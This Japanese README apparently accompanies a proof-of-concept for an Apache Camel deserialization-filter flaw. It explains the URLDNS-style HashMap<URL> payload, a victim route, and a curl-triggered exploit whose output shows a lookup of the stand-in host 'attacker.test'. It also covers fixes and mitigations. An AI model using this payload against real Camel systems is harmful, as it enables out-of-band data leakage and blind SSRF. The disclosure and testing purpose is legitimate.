
CVE-2026-42527の再現ツール — Apache Camelの寛容なデフォルトのObjectInputFilterがjava.net.URLを許可し、DNSベースのアウトオブバンドサイドチャネルを可能にする
このプロジェクトは、Apache Camel における CVE-2026-42527 を示しています。いくつかの Camel コンポーネントが防御深度としてデシリアライゼーションフィルタリングのために出荷するデフォルトの ObjectInputFilter パターン — java.**;javax.**;org.apache.camel.**;!* — は、再帰的な java.** グロブを使用しており、java.net.URL を許可します。java.net.URL.hashCode() は URL のホストの DNS 解決を実行するため、java.net.URL キーを含む HashMap(またはその要素をハッシュ化する任意のコレクション)をデシリアライズすると、デシリアライズ中に JVM が 攻撃者によって提供されたホストへの DNS クエリ を発行します。クラスレベルのフィルタチェックは通過します(結果のオブジェクトは許可リストにある HashMap であるため)、そのため何もそれを止めません — 帯域外の情報漏洩サイドチャネル(RCE ではありません)です。
アドバイザリ: https://camel.apache.org/security/CVE-2026-42527.html
この欠陥は、過度に寛容なデフォルトフィルタを追加したデシリアライゼーション強化シリーズ(CAMEL-23297/23319/23321/23322/23324)によって導入されました。CVE-2026-42527 はそれを厳格化します。
この PoC は camel-mina 4.18.2 を使用しており、MinaConverter.toObjectInput が ObjectInputStream に直接デフォルトフィルタをインストールするため、フィルタがゲート制御となります(影響あり/修正なしの明確なコントラスト)。
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
java.** グロブは java.net.URL を許可します。HashMap<URL, ...> のデシリアライゼーション時、HashMap.readObject() はエントリを再挿入し、hash(key) → URL.hashCode() → InetAddress.getByName(host) → 攻撃者のホストへの DNS クエリ を計算します。4.18.3 / 4.21.0 の修正では、拒否を先頭に追加します。
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
これで、hashCode() が実行される前に、デシリアライゼーション中に java.net.URL が拒否され(InvalidClassException: filter status: REJECTED)、DNS クエリは発生しません。
実際の最大の露出は camel-jms ファミリー であり、
JmsBinding.extractBodyFromJmsはmapJmsMessage=true(デフォルト)の場合に無条件でObjectMessage.getObject()を呼び出します。この PoC は camel-mina を使用しています。これは自己完結型(ブローカー不要)であり、フィルタがストリームに直接配置されるためです。
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
java.net.URL.hashCode() は JVM のリゾルバを通じてホストを解決します。このルックアップを決定論的にオフラインで観測するために、アプリケーションはカスタムの java.net.spi.InetAddressResolverProvider(JDK 18+、JEP 418)を登録し、攻撃者マーカーを含む任意のホスト名を記録し、ループバックスタブで応答します。攻撃者のホストがリゾルバに到達することを確認することは、それ自体が帯域外サイドチャネルが発動したことを示します。
ペイロードは古典的な ysoserial URLDNS のトリックを使って構築されます。URL のキャッシュされた hashCode フィールドは事前にシードされており、ビルダー側でマップに挿入してもホストは解決されず、その後 -1 にリセットされるため、ルックアップは被害者がデシリアライズするときのみ発生します。(そのリフレクションには --add-opens java.base/java.net が必要です — これはペイロード構築の詳細であり、脆弱性とは無関係です。)
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
│ ├── PayloadFactory.java # HashMap<URL> URLDNS payload (no builder-side DNS)
│ ├── ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
# observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
true は、攻撃者の HashMap<URL> のデシリアライゼーションが攻撃者のホストを解決したことを意味します — 攻撃者が制御する DNS サーバーはそのクエリを確認できます。
強化された JVM 全体のフィルタ(toObjectInput が尊重し、4.18.3 の修正を反映したもの)で実行します。
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then: curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
# (the route log shows InvalidClassException: filter status: REJECTED)
docker compose down
影響を受ける Camel コンシューマのうち、デフォルトフィルタの下で攻撃者が制御するバイトをデシリアライズするもの — 特に、mapJmsMessage=true の camel-jms/sjms/amqp コンシューマ、または mina/netty/vertx-http/infinispan および集約リポジトリコンポーネント — 攻撃者は HashMap<URL>(または java.net.URL の任意のハッシュ化コレクション)を配信できます。
deserializationFilter / -Djdk.serialFilter のオーバーライドや、プロバイダ側の許可リストがない)。java.net.URL を配置できる。ガジェットライブラリは不要 — 標準の JDK クラスのみで十分。4.14.8 / 4.18.3 / 4.21.0(CAMEL-23372)にアップグレードしてください。これにより、デフォルトフィルタが java.net.** を拒否するように変更されます。
アップグレードするまでの間:
deserializationAllowList/deserializationDenyList、ActiveMQ Classic の org.apache.activemq.SERIALIZABLE_PACKAGES)。deserializationFilter オプションまたは JVM 全体の -Djdk.serialFilter を使用して、コード内のデフォルトを明示的な拒否でオーバーライドする:
!java.net.**;java.**;javax.**;org.apache.camel.**;!*
(または、集約リポジトリコンポーネントの場合は !java.net.**;java.**;org.apache.camel.**;!*。これらのコンポーネントは javax.** を省略します)。この再現ツールは、セキュリティ研究および許可されたテストのみを目的として提供されており、公に開示され修正済みの脆弱性に対するものです。明示的な許可なくシステムに対して使用しないでください。
| プロパティ | 値 |
|---|
| コンポーネント | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan、および集約リポジトリ(camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| 欠陥 | デフォルトフィルタ java.**;javax.**;org.apache.camel.**;!* が java.net.URL / java.net.InetAddress を許可する |
| CWE | CWE-502(安全でないデシリアライゼーション)により、DNS 経由の帯域外情報漏洩 / ブラインド SSRF が発生 |
| 影響 | デシリアライゼーション中に攻撃者が観測可能な DNS クエリ(データ流出サイドチャネル) |
| 影響を受けるバージョン | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| 修正バージョン | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| 報告者 | Venkatraman Kumar (Securin) および Yu Bao (PayPal) |